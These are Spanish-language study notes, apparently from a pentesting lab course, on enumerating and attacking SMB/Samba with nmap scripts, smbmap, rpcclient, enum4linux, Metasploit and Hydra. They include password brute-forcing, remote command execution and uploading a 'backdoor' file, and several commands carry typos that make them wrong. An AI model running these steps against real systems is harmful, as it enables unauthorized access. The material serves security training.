SMB Lesson
SMB: Windows Discover & Mount
SMB (Server Message Block) es una implementacion de Windows de un recurso compartido de archivos.
CIFS es el sistema de archivos comun de Internet, funciona de la misma manera que un SMB
Los puertos que utiliza un servicio SMB, 445/TCP.
SMB: Nmap Scripts
Se utilizaran algunos scripts de nmap, para realmente encontrar alguna informacion fuera de este servicion. Dentro de nmap, se encuentra un motor de secuencias de comandos puede enocntrar algunos ejemplos en el sitio de nmap.
ping <IP>
nmap <IP>
El siguiente comando nos ayudara a identificar los protocolos que se estan ejecutando el el puerto de SMB 445
nmap -p445 --script smb-protocols <IP>
nmap -p445 --script smb-security-mode <IP>
nmap -p445 --script smb-enum-sessions <IP>
nmap -p445 --script smb-enum-sessions --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Enumeracion de los recursos compartidos
Investigar sesiones nulas que es diferent a una sesion como invitado
nmap -p445 --script smb-enum-shares <IP>
Enumeracion de recirsos compartidos después de una autenticacion previa, y nos indicara si podemos leer o escribir
nmap -p445 --script smb-enum-shares --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Enumeracion de usuarios
nmap -p445 --script smb-enum-users --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Estado del servidor (Cantidad de informacion enviada/recibida, inicios de sesion fallidos, perimosos con errores, trabajos de impresion o archos abiertos.
nmap -p445 --script smb-server-stats --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Dominios que existe en el recurso
nmap -p445 --script smb-enum-domains --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Enumeracion de grupos
nmap -p445 --script smb-enum-groups --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Enumeracion de los servisios en donde se esta ejecutando
nmap -p445 --script smb-enum-services --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
Enumera el recurso compartido, seguido del "ls" para listar el directorio
nmap -p445 --script smb-enum-shares,smb-ls --script-args smbusername=administrator,smbpaswword=smbserver_771 <IP>
SMB: SMBMap
ping <IP>
Durante el escaneo de nmap, asegurar de verificar que los puertos abiertos son 135/TCP, 139/TCP y 445/TCP.
nmap <IP>
Identificar los protocolos y los dialectos
nmap -p445 --script smb-protocols <IP>
Sabiendo que existe la version 1 de SMB, optaremos por una sesión nula.
smbmap -u guest -p "" -d . -H <IP>
Ahora se iniciara sesion con la cuenta de administrador y su respectiva contraseña
smbmap -u administrator -p smbserver_771 -d . -H <IP>
Con las credenciales se puede ejeuctar lineas de comando
smbmap -H <IP> -u administrator -p smbserver_771 -x 'ipconfig'
Enumerar el recursos compartidos
smbmap -H <IP> -u administrator -p 'smbserver_771' -L
Listar directorios
smbmap -H <IP> -u administrator -p 'smbserver_771' -r 'C$'
Subir un archivo (backdoor) al recurso compartido
tauch backdoor
smbmap -H <IP> -u Administrator -p 'smbserver_771' --upload '/root/backdoor' 'C$\backdoor'
Descarga de archivos del recurso compartido
smbmap -H <IP> -u Administrator -p 'smbserver_771' --download 'C$\flag.txt'
SMB: Samba 1
eneumeracion de servucin -sV
nmap <IP> -sV -p139,445
Enumeracion de puertos UDP
nmap <IP> -sU --TOP-PORT 25 --OPEN
Identificar el sistema operativo
nmap <IP> -p445 --script smb-os-discovery
msfconsole
use /scanner/smb/smb_version
options
run
exploit
nmblookup -A <IP hacker>
<20>: Identifica quje nos podemos conectar a ese servidor
Iniciar sesion
smbclient -L <IP> -N
rpcclient -U "" -N <IP>
SMB: Samba 2
nmap <IP>
Escaneo del Servicio
nmap <IP> -p445 -sV
conexion al recurso con una sesion nula
rpcclient -U "" -N <IP>
Version del Sistema Operativo
srvinfo
exit
La herramiento enum4linux, es una herramienta poderosa pero en con el siguiente comando podemos obtener: Usuarios, ver si permite sesiones nulas, Sistema operativo, etc. Recopila mucha información
enum4linux -o <IP>
Tambien se utilizara la herramienta
smbclient -L <IP> -N
nmap <IP> -p445 --script smb-protocols
msfconsole
use /auxiliary/scanner/smb/smb2
options
run
exit
Obtener la enumeracion de usuarios
nmap <IP> -p445 --script smb-enum-users
enum4linux -U <IP>
rpcclient -U "" -N <IP>
enumdomusers
Ahora busquemos nombres de administradores
lookupnames admin
SMB: Samba 3
nmap <IP>
nmap <IP> -p445 --script smb-enum-shares
msfconsole
use auxiliary/scanner/smb/smb_enumshares
show options
exploit
exit
enum4linux -S <IP>
smbclient -L <IP> -n
Listar el grupos
enum4linux -G <IP>
rpcclient -U "" -N <IP>
enumdomgroups
exit
Enumerar Impresoras
enum4linux -i <IP>
Ejecutar y/o ingresar al recurso compartido con una sesion nula.
smbclient //<IP>/Public -N
SMB Dictionary Attack
En los puntos anteriores se ha estado utilizando sesiones nulas en SMB, por lo cual son sesiones en las que no nos autenticamos.
Dentro de los ataques por diccionario, se utiliza una lista de palabras y contraseñas que la gente a utilizado, esto se conoce como contraseñas inseguras.
La herramienta que nos ayudara a realizar este proceso, es la rykiu
nmap <IP>
msfconsole
use auxiliary/scanner/smb/smb_login
info
options
set rhosts
#Configuracion de archivo oara que proporcione una lista de palabras.
set pass?file /usr/share/wordlists/metasploit/unix_passwords.tx
set smbuser <usuario>
#Verificar si existe algun parametro que se requiera que se llene
options
run
Este procedimiento también se puede realizar con la herramienta Hydra.
gzip -d /usr/share/wordlists/rockyou.txt.gz
hydra -l <usuario> -P /usr/share/wordlists/rockyou.txt <Tarjet> smb
Con las credenciales obtenidas se identificara a que sitios se tiene acceso.
smbmap -H <Target> -u <Usuario> -p <Password>
Navegar dentro de los recursos compartidos
smbclient -L <Tarjet> -U <usuario>
smbclient -L //<Tarjet>/<usuario> -U <usuario>
msfconsole
use auxiliary/scanner/smb/pipe_auditor
set smbuser <Usuario>
set smbpass <Contraseña>
set rhosts <Tarjet>
#Verificar si existe algun parametro que se requiera que se llene
options
run
Enumera los usuarios y los SID
enum4linux -r -u "<Usuario>" -p "<Contraseña>" <Tarjet>
Last updated